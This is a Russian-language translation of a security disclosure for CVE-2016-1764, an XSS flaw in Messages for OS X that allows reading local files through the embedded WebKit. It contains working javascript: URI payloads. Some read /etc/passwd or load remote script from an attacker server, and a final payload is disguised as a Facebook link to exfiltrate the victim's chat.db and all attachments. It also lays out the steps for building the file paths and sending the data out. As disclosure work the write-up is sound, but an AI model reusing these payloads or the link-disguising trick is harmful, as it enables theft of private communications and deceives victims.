moloch--/cve-2016-1764Extraction of iMessage Data via XSS
Производитель: Apple
Дата публикации: 8 апреля 2016
Дата исправления: 21 марта 2016
Затронутые системы: Messages на OSX Mountain Yosemite, El Capitan
Хотя большая часть недавних споров об Apple была сосредоточена на криптографии, отрасль и правоохранительные органы, похоже, забыли, что более простые уязвимости уровня приложения могут быть использованы для полного отказа от шифрования. CVE-2016-1764, исправленный Apple в марте 2016 года, является ошибкой уровня приложения, которая приводит к удаленному раскрытию всего содержимого сообщений и вложений в открытом виде за счет эксплуатации клиента iMessage для OS X. Более того, для его эксплуатации не требуется ученой степени по математике, а также глубоких знаний управления памятью, шелл-кода или сложных цепочек ROP для обхода ASLR. Фактически, это относительно простая ошибка, которую может использовать любой, обладающий базовыми знаниями JavaScript.
Приложение Messages (iMessage) для OS X от Apple реализует свой пользовательский интерфейс с использованием встроенной версии WebKit, более того, Messages на OS X отображает любой URI как кликабельную HTML-ссылку <a href=. Злоумышленник может создать простой JavaScript URI (например, javascript:), который при нажатии предоставляет злоумышленнику начальное выполнение JavaScript (XSS) в контексте DOM приложения. Хотя встроенная библиотека WebKit, используемая Messages для OS X, выполняется в источнике applewebdata://, злоумышленник все равно может читать произвольные файлы с помощью GET-запросов XMLHttpRequest (XHR) к URI file://, поскольку политика общего происхождения (SOP) не реализована. Злоупотребляя XHR для чтения файлов, злоумышленник может загрузить всю историю чата и вложения жертвы на удаленный сервер так быстро, насколько позволяет интернет-соединение жертвы; единственное необходимое взаимодействие с пользователем — нажатие на одну ссылку в чате. Кроме того, если включена пересылка SMS, злоумышленник также может получить сообщения, отправленные на iPhone жертвы или от него.
Если вы хотите узнать все подробности, читайте дальше.
Messages для OS X использует встроенную версию WebKit для большей части своего пользовательского интерфейса. Когда сообщения отправляются или принимаются приложением, HTML вставляется в DOM для отображения UI и всех отправленных вложений/медиаконтента. Все сообщения, отправляемые через приложение, отображаются в DOM, поэтому общие клиентские веб-уязвимости могут повлиять на приложение.
При тестировании клиента Messages для OS X было обнаружено, что произвольные схемы протоколов автоматически преобразовывались в ссылки и вставлялись в DOM. Например, следующие URI ниже все вставляются как ссылки в WebView при отправке сообщения:
test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter
Поскольку Messages для OS X не реализует белый список принятых протоколов, злоумышленник может отправить жертве сообщение, содержащее JavaScript URI javascript:, который будет преобразован в кликабельную ссылку на машине жертвы.
После нажатия встроенный WebKit послушно выполнит JavaScript, контролируемый злоумышленником, в текущем источнике, например:
Обратите внимание, что %0a (т.е. \n) используется для экранирования комментария JavaScript //, что необходимо для соответствия шаблону ссылок парсера. После интерпретации код выглядит так:
//bishopfox.com/research?
prompt(1)
После нажатия на эту ссылку в Messages для OS X появляется JavaScript prompt:
Однако Messages для OS X является настольным приложением, а не веб-сайтом. Поэтому JavaScript выполняется в контексте источника applewebdata://:
Однако код злоумышленника выполняется в полноценной реализации WebKit, и поэтому XMLHttpRequest доступен во время выполнения. Одно из ключевых отличий встроенной версии WebKit от веб-браузера, такого как Chrome или Safari, заключается в том, что встроенная версия не реализует политику общего происхождения (SOP), поскольку это нативное настольное приложение. Злоумышленник может воспользоваться этим для чтения файлов с локальной файловой системы, не нарушая политику общего происхождения, отправляя GET-запросы XMLHttpRequest к URI file://. Единственное требование — злоумышленник должен знать полный путь к файлу; относительные пути (например, ~/.ssh/id_rsa) использовать нельзя.
Например, следующий JavaScript может быть выполнен DOM приложения Messages для чтения файла /etc/passwd:
function reqListener () {
prompt(this.responseText);
// send back to attackers server here
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();
Преобразовав в URI-пейлоад, код выглядит следующим образом:
javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B
При нажатии в приложении Messages появляется следующий prompt:
Поскольку приведенный выше вектор довольно длинный и выглядит слишком подозрительно, можно сократить URI, динамически загружая JavaScript с домена и включая его в DOM. Например, следующий вектор ниже внедряет JavaScript из http://example.com/1.js в DOM Messages:
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
Файл JavaScript, на который ссылается //example.com/1.js в приведенном выше векторе, может содержать произвольные инструкции JavaScript произвольной длины.
Однако песочница приложений OS X ограничивала доступ к файловой системе только каталогом ~/Library/Messages/* и некоторыми другими не пользовательскими системными каталогами, такими как /etc/.
Когда сообщения и вложения принимаются Messages на OS X, они сохраняются в следующем каталоге:
/Users/<username>/Library/Messages/*
Текстовое содержимое этих сообщений и другие метаданные хранятся в базе данных SQLite, расположенной по адресу:
/Users/<username>/Library/Messages/chat.db
Эта база данных также содержит расположение всех вложений, находящихся на машине пользователя.
Чтобы украсть эту базу данных, а затем и все вложения, когда-либо полученные или отправленные жертвой, требуется более сложная атакующая нагрузка.
Необходимо выполнить следующие шаги, прежде чем данные могут быть успешно извлечены злоумышленником:
~ использовать нельзя)chat.db, т.е. /Users/ExampleUser/Library/Messages/chat.dbXMLHttpRequest для чтения базы данных chat.db и запроса к ней для получения путей к файлам вложенийXMLHttpRequest или WebSockets, если нужен доступ в реальном времени.Мы можем определить текущего вошедшего в систему пользователя, запросив и затем проанализировав /Library/Preferences/com.apple.loginwindow.plist; этот файл удобочитаем из песочницы приложений OS X. Отсюда тривиально построить полный путь к chat.db пользователя.
После успешного извлечения файла базы данных его можно передать пользовательскому серверному скрипту, который извлекает полные пути вложений, отправленных и полученных жертвой, найденных в таблице attachments базы данных.
Эти полные пути извлекаются вредоносным JavaScript-пейлоадом, а затем используются для извлечения файлов вложений с машины жертвы через XMLHttpRequest.
Затем злоумышленник проводит небольшую обфускацию, чтобы сделать URL более правдоподобным:
javascript://www.facebook.com/photo.php?fbid=111789595853599&set=a.111055039260388.1073741826.100010676767694&type=3&theater%0A%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fyourhostname%3A8888%2ff%2fpayload.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
Если жертва нажмет на указанный выше URI в приложении Messages для OS X, вся история чата жертвы и все связанные вложения будут отправлены злоумышленнику.
JavaScript везде
Уязвимости безопасности веб-приложений больше не ограничиваются только браузером, а проникли и в нативные приложения. Хотя разработчикам может быть продуктивно использовать веб-технологии, такие как WebKit, или его гораздо более опасного родственника nw.js, для создания настольных приложений, все равно необходимо следовать лучшим практикам безопасности веб-приложений.